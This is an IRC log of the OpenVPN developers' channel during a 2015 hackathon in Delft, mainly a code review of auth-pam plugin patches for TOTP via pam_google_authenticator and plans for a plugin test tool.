05:48 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 06:35 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:35 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 06:46 <@cron2> at train station shiphol 06:52 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 06:52 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:53 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 06:53 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 06:53 -!- mode/#openvpn-devel [+v janjust] by ChanServ 06:53 <@cron2> 14:25 in Delft. mattock, where arr you? 06:54 <@cron2> hi janjust 06:54 <+janjust> hi cron2 06:54 <+janjust> almost in Delft? either Steffan or Adriaan will come pick you up (to get you a bike) 06:55 <@cron2> almost there ;-) 06:55 <@mattock_> cron2: I sent an sms, but 2nd/3rd car from the back, upstairs... but it's packed here 06:56 <@cron2> were upstairs in about the middle... not much free seats eithet 07:00 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 07:01 <@cron2> found! 07:01 <@andj> \o/ 07:04 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:04 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 07:06 <@cron2> he really needs an IRC bouncer 07:12 <@mattock_> I've been given promises about an openvpn tech bouncer, but I may have to setup my own if that takes too long 07:12 < mator> why it's not possible to create only ipv6 tunnel (without ipv4) ? 07:13 <+janjust> with the development version of openvpn this is possible, IIRC. it's simply not available in 2.3.x yet 07:16 < mator> ahh yes, i have old one openvpn-2.3.4-2.7.1.x86_64 07:16 < mator> thanks, going to check with later versions 07:16 < mator> will it be available in 2.3.x or only in 2.4.x ? 07:17 <@cron2> nah 07:18 <+janjust> most likely only in 2.4 07:18 <@cron2> not possible because nobody verified whether all bits inside can handle that 07:18 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Quit: IRC for Sailfish 0.9] 07:19 <@cron2> but you can setuo a tunnel with 'uninteresting' v4 addresses and no pushed routes for v4... nearly v6-only 07:20 <@cron2> plus 'no client-to-client' and iptables drop all on the server tun 07:22 <@cron2> I have no idea how complicated that would be to implement true v6-only - needs careful code review 07:26 <@cron2> mattock already left... 08:24 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:24 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 08:27 <@cron2> \o/ 08:48 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 09:47 <@mattock1> CONTRIBUTING files: 09:47 <@mattock1> tap-windows6: http://paste.fedoraproject.org/277034/14444017/ 09:47 <@mattock1> openvpn-build: http://paste.fedoraproject.org/277037/40180014/ 09:47 <@mattock1> openvpn: http://paste.fedoraproject.org/277038/44018801/ 09:48 <@mattock1> our documentation formatting is a mess, and we probably want to stick to one of .rst, .md or plain text (with consistent formatting) 10:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 10:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:02 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:02 -!- reators [~holger@2001:1a80:2000:2:5049:f3cf:698d:bb82] has quit [Quit: Leaving.] 10:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 268 seconds] 10:34 -!- saik0 [~saik0@unaffiliated/saik0] has quit [Ping timeout: 250 seconds] 10:41 -!- saik0 [~saik0@unaffiliated/saik0] has joined #openvpn-devel 10:46 -!- saik0 [~saik0@unaffiliated/saik0] has quit [Ping timeout: 265 seconds] 10:49 -!- saik0 [~saik0@unaffiliated/saik0] has joined #openvpn-devel 10:52 < lev__> https://github.com/stipa/openvpn/tree/feature/inotify2 10:52 <@vpnHelper> Title: stipa/openvpn at feature/inotify2 · GitHub (at github.com) 10:53 <@cron2> Message-Id: <1444224734-18721-1-git-send-email-lstipakov@gmail.com> 10:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:59 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:59 <@andj> Updated: http://community.openvpn.net/openvpn/wiki/Patches 10:59 <@vpnHelper> Title: Patches – OpenVPN Community (at community.openvpn.net) 11:10 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 11:13 -!- dazo is now known as dazo_afk 12:27 -!- saik0 [~saik0@unaffiliated/saik0] has quit [Ping timeout: 255 seconds] 12:28 -!- saik0 [~saik0@unaffiliated/saik0] has joined #openvpn-devel 17:26 <@vpnHelper> RSS Update - gitrepo: sample-plugin: TLS Keying Material Exporter [RFC-5705] demonstration plug-in <https://github.com/OpenVPN/openvpn/commit/f7ef7522f5c7e6d4abfa5a0378c2e2ad265c65ec> || Added document for TLS Keying Material Exporters [RFC-5705] <https://github.com/OpenVPN/openvpn/commit/84604e0bae7216b46642d5a1a443b86f712d53aa> || Added support for TLS Keying Material Exporters [RFC-5705] <https://github.com/OpenVPN/openvpn/commit 18:28 <@vpnHelper> RSS Update - gitrepo: sample-plugin: TLS Keying Material Exporter [RFC-5705] demonstration plug-in <https://github.com/OpenVPN/openvpn/commit/f7ef7522f5c7e6d4abfa5a0378c2e2ad265c65ec> || Added document for TLS Keying Material Exporters [RFC-5705] <https://github.com/OpenVPN/openvpn/commit/84604e0bae7216b46642d5a1a443b86f712d53aa> || Added support for TLS Keying Material Exporters [RFC-5705] <https://github.com/OpenVPN/openvpn/commit --- Day changed Sat Oct 10 2015 02:56 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:56 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:06 <@mattock1> syzzer: http://paste.fedoraproject.org/277524/44464165/ 03:52 -!- dazo_afk is now known as dazo 03:53 <@dazo> cron2: git fetch {stable,testing} refs/notes/*:refs/notes/* 03:53 <@dazo> https://git-scm.com/blog/2010/08/25/notes.html 03:53 <@vpnHelper> Title: Git (at git-scm.com) 03:58 <@dazo> cron2: in .git/config ... in each of the 'remotes' section there is a fetch =.... line .... add this one below each of them: fetch = +refs/notes/*:refs/notes/* 04:17 <@vpnHelper> RSS Update - gitrepo: Fast recovery when host is in unreachable network <https://github.com/OpenVPN/openvpn/commit/99daa6b19270775006f034f21936c98a9005477d> 04:30 <@dazo> TimSmall: Looking at your auth-pam patches now ... I'm just trying to wrap my head around your changes ... you seem to change several aspects of the behaviour, so could you try to explain what and why you do that? 04:31 <@dazo> patch 1/6 seems reasonable, that's improving error messages when PAM declines to authorize a user 04:31 <@dazo> s/authorize/authenticate/ 04:31 <@dazo> patch 2/6 looks reasonable as well 04:31 < TimSmall> Let me go and read the patches... 04:31 <@dazo> patch 3/6 is where the real changes happens, which we need to look more carefully at 04:37 <@dazo> it seems 3/6 just does some refactoring ... but adds a check and may return PAM_CONV_ERR in some cases 04:38 < TimSmall> 3/6 pulls the name/value substitution code out, so that later changes can call it from elsewhere (and also the indentation was a bit deep for my liking originally). 04:39 <@dazo> right, I see it better now ... so this change will be used later on 04:39 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 04:39 -!- mode/#openvpn-devel [+v janjust] by ChanServ 04:41 <@dazo> TimSmall: just so I have a better understanding of your overall goal for these patches ... what do you try to achieve? 04:41 < TimSmall> Did you look at the 0/6 summary? 04:41 < TimSmall> http://thread.gmane.org/gmane.network.openvpn.devel/9892 04:41 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 04:42 <@dazo> Yeah ... but it just smells like COMMONNAME and --username-as-commonname should be enough ... so I'm missing some details 04:42 < TimSmall> Sorry, this has partially fallen out of my brain since, so I'm just doing a recap now. 04:43 <@dazo> sure, no prob! actually, that gives you an advantage of partly seeing this with fresh eyes too, kind of 04:45 <@dazo> or that using 'plugin openvpn-auth-pam.so login login COMMONNAME password PASSWORD' if you want the opposite (common name as username) 04:47 < TimSmall> My original problem is that it was impossible to use pam_google_authenticator with openvpn (for my use case, or possibly all use cases). 04:48 < TimSmall> Just looking over the openvpn config which I have in production to try and get my head back around the original issues. 04:49 < TimSmall> thinking out loud - I vaguely remember that there were two different code paths originally, and you could customise one, but not the other, which left me stuck... 04:50 < TimSmall> 1 min - someone at the door... 04:50 <@dazo> no worries 04:55 < TimSmall> 4/6 documents that slightly (the two code paths with inconsitent treatment). 04:59 < TimSmall> the pam docs state that the right way to do things is to pass the username into pam_start(), but as it stands that's not possible if you set up any custom behaviour IIRC. 05:01 < TimSmall> nope - that's optional behaviour but various pam modules assume it.. 05:02 <@dazo> okay 05:03 < TimSmall> --username-as-common-name doesn't work for my use case, as I want '--common-name-as-username' instead. 05:04 < TimSmall> The non-custom code path passes in the username in pam_start(), and then answers any password-style query with the password which the user has entered. 05:04 <@dazo> right ... that's what janjust said to me in a few minutes ago (he sits right besides me at the hackathon) 05:05 <@dazo> I see that 4/6 tackles some odd cases where an ECHO_OFF situation is interpreted as 'this is a password' situation 05:05 < TimSmall> The 'custom' code path doesn't allow that behaviour, but instead forces a pattern match on the humman-readable password prompt string (which is subject to both change, and also localisation). 05:05 < TimSmall> ... which feels brittle and non-obvious 05:05 <@dazo> and the 4/6 will add the common name as username possible 05:06 < TimSmall> e.g. for the openvpn config line 'plugin /usr/local/lib/openvpn-plugin-auth-pam.so "openvpn PAM_USER COMMONNAME"' 05:07 <@dazo> right, and that's what 5/6 enables 05:07 < TimSmall> well, actually that wouldn't work at all, so you'd need "openvpn login COMMONNAME" 05:08 < TimSmall> but if you just did that, then all auths would fail as password prompts would go unanswered" 05:10 < TimSmall> So as it is at the moment, you have to pattern match both the username prompt (assuming that mechanism works - it doesn't with pam_google_authenticator at the moment), and also the password prompt, and hope they don't change in the future. 05:13 < TimSmall> with the changes you can say something like "openvpn PAM_USER COMMONNAME" and have it automatically recognise password prompts, and not have to worry about what the pam module decides the localised version of a username prompt should look like (e.g. user: login: or whatever). 05:13 <@dazo> okay ... just thinking aloud ... do you allow your VPN users to log in locally on your VPN server? 05:13 < TimSmall> For non-english systems I'd guess that something like improvements in localisation coverage would frequently break that. 05:13 <@dazo> (ssh, console, etc) 05:14 < TimSmall> No, no local accounts. 05:14 <@dazo> so VPN users are "virtual" users to that local system 05:15 < TimSmall> yep - the username they enter in the openvpn client is ignored in favour of their client cert commonname. The commonname+TOTP password combination is used for auth using the google_authenticator pam module. 05:15 <@dazo> I am just wondering why you're pushing things via the PAM stack in this case .... I understand the benefits of PAM, when you want better authorization control (not just authentication) .... but if it is just to get OTP support, I wonder if it would be safer to use a TOTP/HOTP authenticator run directly with openvpn, without the PAM stack 05:17 < TimSmall> We're using pam_google_authenticator elsewhere, so it seemed like it would be "straightforward" :o) 05:17 <@dazo> ahh :) 05:18 < TimSmall> The openvpn service definition is really simple, it just says: 05:18 <@vpnHelper> RSS Update - gitrepo: Fix --mtu-disc option with IPv6 transport <https://github.com/OpenVPN/openvpn/commit/2bed089d31a12c2d0277e36a64964ebab6640f75> 05:18 <@dazo> I see that your patches solves your issues with PAM in this use case ... I'm just concerned about if this lowers the security of auth-pam on more default setups 05:18 < TimSmall> auth sufficient pam_google_authenticator.so secret=/etc/openvpn/pam_google_authenticator_data/${USER} 05:19 < TimSmall> The default setup will have unchanged behaviour 05:19 <@dazo> Google authenticator is TOTP? Not HOTP? 05:19 < TimSmall> Either/or 05:19 < TimSmall> Default config is for both. 05:19 <@dazo> the functionality is unchanged ... but the code is changed quite a lot, which opens up for potential bugs 05:20 <@dazo> does the pam auth module connect any google auth service during authentication, or is the state for HOTP saved locally? 05:20 < TimSmall> All local. 05:21 <@dazo> I am slightly IT paranoid by default, that's why I'm so sceptical to big changes in auth-pam ... as that has a good track record on the security side 05:22 < TimSmall> FWIW, whilst googling trying to solve my original problem, I did come across a handfull of confused openvpn admins all saying "why doesn't this pam config work" 05:22 <@dazo> And which is why I'm thinking having an auth-googleauth.so plugin would be a better long term goal 05:23 <@dazo> PAM is tricky, and I don't say that auth-pam is doing everything correctly ... I just need to be 100% sure we don't break it in unexpected ways :) 05:23 < TimSmall> Quite possibly, the other reason for going this route was for the easy drop-in-replacement with other token based auth solutions, and pam support is pretty common... 05:23 <@dazo> agreed 05:24 < TimSmall> G-A was intended as a proof-of-concept with the idea of moving to a hardware token at a later date. 05:26 < TimSmall> I suppose the most significant potential security issue would come from changes to the default-config code path. 05:26 < TimSmall> So that needs extra attention, as it will be >99% of installations. 05:27 <@dazo> I'm thinking that it should be possible to write a generic auth module which does both HOTP and TOTP out-of-the box, meaning any HOTP/TOTP product supporting those methods should work 05:28 <@dazo> that is well summarized, the code for solving your issue and how the pam_g-a module works, makes sense - from a quick code review point of view 05:28 <@dazo> but I'm concerned about what it "breaks" for default or all the other PAM configuration uses out in the wild 05:28 < TimSmall> Would that be better than using the existing pam mechanism to use one of the pam implmentations of HOPT/TOTP (there are at least two open source ones included in Debian alone). 05:28 <@vpnHelper> RSS Update - gitrepo: Fix compilation error with --disable-crypto <https://github.com/OpenVPN/openvpn/commit/b05a453be5dd21326e79f42b0a363f2f23eaa29a> 05:29 < TimSmall> ? 05:29 <@dazo> I haven't really looked into all these PAM modules, so it's hard to say without testing it 05:30 <@dazo> but the idea behind TOTP/HOTP is that it is a standardised protocol for authentication, and should be compatible regardless of the providers on either side 05:31 <@dazo> you can also test your current setup with for example yubikeys, freeotp or other OTP generators ... if the OTP keys are correctly entered, it should give the same result already 05:31 < TimSmall> yes, but just from a code-reuse PoV there may be an argument that there's an advantage in using existing pam modules, rather than implementing and maintaining... 05:32 < TimSmall> Yep, we're using the freeotp app on Android and iOS devices. 05:32 <@dazo> that's a fair point ... and from an openvpn point of view, if it's a pam module ... we can just say "did you try pam login locally? Does it work? If not, it's not an openvpn issue" 05:35 < TimSmall> So I suppose the options would be to create an automated test-suite for the openvpn pam plugin, or just do a code review... 05:36 <@dazo> a test-suite would be beneficial anyhow ... but we need code review too, especially on security related areas 05:36 < TimSmall> agreed. 05:36 < TimSmall> So in the default openvpn config case the pam API calls will be identical pre and post patch. 05:38 < TimSmall> existing custom setups should retain the same behaviour too (WRT API calls), as you have to explicitly use the new COMMONNAME keyword match e.g. 05:39 < TimSmall> .. sorry meant "PAM_USER" keyword 05:40 < TimSmall> So, the only change to existing behaviour with respect to pam API calls would be for an installation which is currently explicitly expecting something in the pam stack to prompt the user with "PAM_USER:" 05:40 < TimSmall> which is pretty pathological... 05:41 <@dazo> 'login COMMONNAME' needs to work as before ... but using 'PAM_USER COMMONNAME' will go via your changes 05:42 < TimSmall> yes, that should be the case. 05:43 <@dazo> I'm just wondering if it would be possible to write a specific pam module for a more automated testing of auth-pam 05:45 < TimSmall> The approach that the google_authenticator test suite uses is to create stub pam API implementations and test with this. 05:46 < TimSmall> You should be able to create a set of pam services which use existing pam modules (e.g. modules which implement auth vs. password file, always succeed, always deny). 05:48 <@dazo> right ... but would be good to log what is sent in username/password/other fields ... and compare that with what the openvpn client sent 05:49 < TimSmall> There is pam_debug 05:49 <@dazo> yeah, that would be useful 05:50 < TimSmall> and pam_warn(8) 05:52 <@vpnHelper> RSS Update - gitrepo: Update expiry date in management event loop <https://github.com/OpenVPN/openvpn/commit/b51a024a7b26e691e6459964d4d29f15b70089bd> 05:52 <@dazo> combined, those should be able to do what I'm thinking of 05:53 <@cron2> plaisthos: =C2=A0 =C2=A0 =C2=A0man=5Fcheck=5Ffor=5Fsignals (&signal=5Freceived); 05:55 < TimSmall> I think you'll need a custom pam module to prompt for a password and log that, but that would be pretty trivial... 05:59 <@mattock1> jamesyonan has a preference for .rst format for documentation and I'm fine with it, so we'll go with that instead of markdown 06:01 <@mattock1> cron2: the openvpn-build failure has been fixed 06:01 <@cron2> mattock1: I noticed \o/ 06:01 <@cron2> (and we also fixed the buildbot failures for --disable-crypto) 06:06 <@dazo> TimSmall: We've had a little discussion around the table ... there is a consensus that what your patches tries to do (feature ACK) ... but there is a concern that these patches solves more issues in an inter-tangled way with quite intrusive changes 06:09 <@dazo> TimSmall: So I think we need to look at possibilities to reducing the intrusiveness and clearly solve each issue more separately as far as possible ... and we need a good way to verify that test this module, both before and after patches have been applied - to ensure we don't regress current use cases 06:09 < TimSmall> OK 06:09 <@dazo> (we're heading out for lunch now ... will be back later on) 06:11 < TimSmall> OK, let me know when you're back. 06:19 -!- dazo is now known as dazo_afk 07:13 -!- dazo_afk is now known as dazo 07:19 < TimSmall> Been looking at testing options from the pam angle - are there any existing automated tests for openvpn plugins? 07:27 <@cron2> #605 updated -> valdikss 07:27 <@dazo> TimSmall: no, that's lacking too 07:28 < TimSmall> Hmm, something which allowed an admin to do "check plugin 'plugin-configfile-line' --username blah --password pass" would be a good tool for users as well as enable automated testing... 07:29 <@dazo> Yeah, I was thinking about that right now too 07:29 * cron2 would welcome a patch for that :-) 07:29 < TimSmall> me too :) 07:31 < TimSmall> OK, I'll throw an hour at it - how difficult can it be? (haha) 07:32 < TimSmall> Been looking at the problem of testing pam services without root (as by default pam will try to open /etc/pam.d/servicename 07:33 < TimSmall> ... and the test would need to define custom services to useful I think. 07:35 < TimSmall> Should I be targetting https://github.com/OpenVPN/openvpn master branch? 07:35 <@vpnHelper> Title: OpenVPN/openvpn · GitHub (at github.com) 07:40 < TimSmall> time for lunch UTC+1 07:40 <@dazo> TimSmall: yes, master branch makes a lot of sense .... I can definitely try to find some time to help out on the "openvpn" side of a plug-in test framework 07:41 <@dazo> we do need to improve testing in openvpn, so having something which can test plug-ins doing almost the same as openvpn does and report what it does and the results, that'll be very helpful 08:21 < ValdikSS> cron2: I'm not a programmer and that plugin was basically done with copy-paste. I'm afraid I would need help. 08:23 <@cron2> ValdikSS: I'm even more impressed by someone who can get an openvpn windows plugin in place with cut and paste :-) - but of course, we're here to help (and finding your way inside OpenVPN can be a challenge) 08:43 <@vpnHelper> RSS Update - tickets: #617: throw out snappy <https://community.openvpn.net/openvpn/ticket/617> 08:50 <@mattock1> https://ostif.org/ 08:50 <@vpnHelper> Title: OSTIF.org | Open Source Technology Improvement Fund (at ostif.org) 09:01 <@vpnHelper> RSS Update - gitrepo: Add CONTRIBUTING.rst <https://github.com/OpenVPN/openvpn/commit/0c1d92291e4c1829bf503067e1f9d39328d01ee9> 09:35 < TimSmall> Have been looking at using openvpn/plugin.h to ensure the plugin tester is using as close as possible the same env as openvpn itself does... 09:35 < TimSmall> Not entirely sure where to start, it seems to be quite coupled to other openvpn bits and pieces... 09:56 <@dazo> TimSmall: yeah, that path is tricky, as the plugin_call_item() requires some openvpn states. the plugin struct is the stuff to fill out properly, pluss the envp and argv arrays needs to be simulated according to which 'type' is being processed 09:57 <@dazo> you'd also need some tricks to pass some certificate data as well 09:58 <@dazo> (mostly for the TLS_VERIFY phase, that is) 10:00 <@dazo> I'm not convinced it makes too much sense using the plugin_list*() functions, as they will require even more openvpn states to be simulated ... and it doesn't give too much 10:03 <@dazo> looking at plugin_init_item(), plugin_call_item(), plugin_abort_item() and plugin_close_item() probably makes most sense 10:04 <@dazo> and the struct sent to _v3 plugin functions needs to provide plugin_vlog() and plugin_log() for those plug-ins using the logging infrastructure 10:04 <@dazo> (that's just a function pointer) 10:09 < TimSmall> Do you mean calling plugin_init_item() directly? Maybe providing non-gc versions of the gc_xxx functions? 10:09 < TimSmall> or am I barking up the wrong tree? 10:14 <@dazo> yeah, if you use plugin_init_item() it, it populates the the plugin struct properly ... then there is two different test groups, plugin_call_item(), plugin_call_abort_tiem() ... and then plugin_close_item() in the end 10:14 <@dazo> there is also needed to do some init client context for v2/v3 functions ... haven't dug into that 10:15 <@dazo> if you compile in the the buffer.c ... you should get the gc stuff "for free" 10:18 < TimSmall> Hmm, buffer needs error, which needs plantform, which needs init, which needs the whole world. 10:20 < TimSmall> I'm wondering if it wouldn't be better / easier to implement it as an alternative invocation option of the openvpn binary? 10:21 < TimSmall> I haven't looked at the openvpn code outside of the plugins themselves, and err, there's a lot here... 10:24 < TimSmall> ... and it's quite intertangled :-) 10:28 <@dazo> hmmm ... that sounds a bit too much, yeah 10:28 * dazo looks more carefully 10:32 < TimSmall> If auth plugins are targetted first, then it's probably most robust (in terms of running plugins with the right environment, options etc. etc.) to add code into the openvpn binary to do the plugin check there, and then exit - in the region of line 260 of openvpn.c maybe just before the main do {} loop is hit? 10:33 < TimSmall> sorry two different things there. 10:33 < TimSmall> 1. I'm feeling it's probably best to add in an option to test auth plugins first... and 2. that's one possible place to add it? 10:34 < TimSmall> brb 10:34 <@dazo> The openvpn code is fairly complex already ... so I think it would be good to have a test tool more on the outside 10:34 * dazo need to review a few other things 10:57 < TimSmall> If you pull in error.c, tthen that contains openvpn_exit, which ends up requiring most of the rest of the codebase by the look of it. 10:58 < TimSmall> So your 10:59 <@dazo> hmmmmm 10:59 <@dazo> do you know which functions buffer.c needs from error.c? 11:00 < TimSmall> So the options are to try and use plugin.c (which looks tricky because of cascading dependencies), or re-implement what it does (which is also tricky, and probably a moving target, and thus for both reasons a less useful test... 11:00 <@dazo> exactly ... I think we can move some code around to avoid this massive dependency stuff 11:01 <@dazo> if we can identify which functions are needed 11:01 < TimSmall> assert_failed, x_msg dont_mute out_of_memory x_msg 11:02 < TimSmall> and platform_fopen 11:02 <@dazo> error.c is mostly unchanged since the very early 2.0 releases ... so cleaning up isn't a bad thing :) 11:03 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 11:03 < TimSmall> I have a feeling it's going to need someone who's got their head around the code base in a way I haven't... 11:04 < TimSmall> ... very happy to implement pam side of the tests, but this is a bit of a prereq - unless we just implement something much less ambitious in auth-pam itself 11:07 <@dazo> sure, I'm looking into how to split up error.c 11:25 <@dazo> TimSmall: I've discussed error.c with cron2 .... after having digested our discussion, I think we'll make a minimal error.{c,h} which a test tool can use, which provides just those few functions needed without pulling in the complete openvpn stack 11:26 <@dazo> TimSmall: do you already have some code written (doesn't need to be pretty and nice ... just something I can try to compile to see how things explodes) 11:29 < TimSmall> I just created a .c with an empty main and experimented with linking it with plugin.o (and -ldl) and looking at what the linker errors were. 11:30 < TimSmall> gcc -g -O2 -o openvpncheckplugin openvpncheckplugin.o platform.o -ldl ; ./openvpncheckplugin 11:30 <@dazo> cool! I'll give it a shot 11:40 < TimSmall> I also did this: http://pastebin.com/SysJAdrr 11:41 < TimSmall> The gcc line was based on what ended up getting executed at the link stage when additional .c and .h were added to the _SOURCES for the checkplugin in the Makefile.am. The gcc line above should reference plugin.o not platform.o ... 11:43 <@dazo> makes sense 11:43 <@dazo> we're heading out for dinner now, so I'll be offline for a good while ... but I've gotten started with splitting up error.c 11:44 <@dazo> I have good hopes 11:44 < TimSmall> Cool, I'll get onto doing the entirely different set of development that I planned to do day (and is now several weeks late)! :-) 11:45 -!- dazo is now known as dazo_afk 11:48 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 15:57 -!- Netsplit *.net <-> *.split quits: ValdikSS 16:42 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 16:42 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 16:46 -!- Netsplit *.net <-> *.split quits: @plai, Esmil, arlen 16:46 -!- Netsplit over, joins: arlen 18:02 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 250 seconds] 18:05 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 18:07 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 18:10 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 19:53 -!- ValdikSS [~valdikss@95.215.45.33] has joined #openvpn-devel --- Day changed Sun Oct 11 2015 02:48 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:48 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:50 <@cron2> mornin' :) 03:01 <@mattock1> https://community.openvpn.net/openvpn/wiki/DeveloperDocumentation 03:01 <@vpnHelper> Title: DeveloperDocumentation – OpenVPN Community (at community.openvpn.net) 03:01 <@mattock1> morning all 03:24 <@cron2> v2.3_beta1-414-gc67acea 03:25 < ValdikSS> Guys, any ETA on updating iOS application? :) 03:25 <@cron2> James mumbled something like "it's an Apple bug"... but I'll ask him again (still sleeping) 03:32 <@vpnHelper> RSS Update - gitrepo: Fix "White space before end tags can break the config parser" <https://github.com/OpenVPN/openvpn/commit/c67acea173dc9ee37220f5b9ff14ede081181992> 03:50 <@vpnHelper> RSS Update - gitrepo: Remove support for snappy compression. <https://github.com/OpenVPN/openvpn/commit/9403e3f4b510fbc4187044f31be8f7dccbde1cf1> 04:14 <@vpnHelper> RSS Update - gitrepo: Send push reply right after async auth complete <https://github.com/OpenVPN/openvpn/commit/0d1a75bfe241466230c41a52c6013494135c5935> 04:22 <@cron2> ecrist: if you come around looking at openvpn-devel, you might want to remove the ENABLE_SNAPPY option from the port - we removed it from upstream code :-) 04:59 -!- dazo_afk is now known as dazo 04:59 <@dazo> lev__: --disable-server --enable-small 06:09 <@vpnHelper> RSS Update - gitrepo: Fix compilation with --disable-server <https://github.com/OpenVPN/openvpn/commit/8929a395c7e9ad41872d9d25b654a14e1bb37e9c> 06:40 <@cron2> re from train 06:41 <@cron2> all worked out nicely - syzzer, andj, thanks again for organizing bikes 06:41 <@syzzer> good! :D 06:44 <@cron2> ... could you send me the scan from the restaurant bill, btw? forgot all about it... 06:46 <@mattock1> syzzer, dazo: you guys are too fast :D 06:47 <@mattock1> I was just checking build failures and noticed the --disable-server issue 06:50 <@cron2> mattock1: this is sooooooo old stuff ;-) 06:58 <@mattock1> yeah 07:01 <@dazo> well, when lev__ delivers so fast .... ;-) 07:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 07:06 -!- dazo is now known as dazo_afk 10:06 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 12:31 <@cron2> back home, safely \o/ 13:41 <@vpnHelper> RSS Update - wishlistfeed: Integrate basic dhcpv6 client into OpenVPN with <http://forums.openvpn.net/topic19908.html> 14:47 -!- dazo_afk is now known as dazo 15:51 <@dazo> hmmm ... so error.c splitting seems to work ... but then misc.c appeared .... :/ 16:18 <@dazo> oh dear ... misc.c uses parse_line() which is in options.c which pulls in everything again :/ 16:20 <@dazo> TimSmall: considering all which needs to be done to get a test framework for plug-ins in place, I believe we need to consider all this for 2.5 16:22 <@dazo> It is doable, and I believe such a clean up is really needed. I've managed to get a working error.c split ... but misc.c and maybe options.c also needs to go through a similar operation, as these files just do more many things which are related but different parts of the rest of the code depends on it 16:23 <@dazo> misc.c is in particular "interesting", as it depends on crypto code, management code, console code, option.c and some event handling stuff 17:11 -!- dazo is now known as dazo_afk --- Day changed Mon Oct 12 2015 02:06 <@cron2> dazo: ouch... 02:26 -!- reators [~holger@2001:1a80:2000:2:3d61:851c:5a89:7750] has joined #openvpn-devel 02:30 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:30 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:41 <@mattock1> I responded to Derek Zimmerman, the guy at OSTIF, regarding their fundraising plans 03:41 <@mattock1> I will let you know when he has a response 05:03 -!- ismail [ismail@kde/ismail] has joined #openvpn-devel 09:08 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 240 seconds] 09:10 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 09:10 -!- mode/#openvpn-devel [+o pekster] by ChanServ 09:56 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 10:11 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 250 seconds] 10:24 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 10:24 -!- mode/#openvpn-devel [+o pekster] by ChanServ 11:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:09 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:10 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 11:56 -!- saik0 [~saik0@unaffiliated/saik0] has quit [Quit: WeeChat 0.4.2] 11:57 -!- d12fk [~heiko@85.25.119.185] has joined #openvpn-devel 11:57 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 12:00 <@d12fk> how was the weekend? 12:02 <@cron2> worksome :-) - but quite nice. Bicycling through delft, drinking belgian beers, eating too much chocolate. Commiting and reviewing like crazy :-) 12:02 <@cron2> next year: Helsinki! (Lev__ "just" needs to get management approval first :) ) 12:03 <@d12fk> never been to finland, hope I can make it 12:03 <@d12fk> will it be in summer? 12:03 <@d12fk> *can it be in summer? 12:05 <@cron2> we have no idea yet ;-) - so far, this is just a crazy thought 12:07 <@d12fk> what about our private windows meeting? will it happen? 12:28 <@cron2> we did not specifically discuss that - the weekend was way too short... - I'm quite busy till mid november now, but we should not forget about it 12:29 <@d12fk> fits my schedule 14:31 <@ecrist> cron2: will do. The port is due for an update anyhow. 15:12 <@ecrist> cron2: has the port been working for you? 15:12 <@ecrist> for openvpn-devel I should say 15:13 <@ecrist> I just discovered that my ftp server has been broken for quite some time 15:13 <@ecrist> and had week 1's tarball is all 15:32 <@cron2> ecrist: haven't reinstalled recently, but when I upgraded last time (~6 weeks ago) it worked fine 15:32 <@cron2> running in production 15:52 <@plaisthos> is Changes as file for the changes okay? 15:52 <@plaisthos> or should we call it NEWS? --- Day changed Tue Oct 13 2015 01:23 -!- arlen [~arlen@jarvis.arlen.io] has quit [Quit: exit] 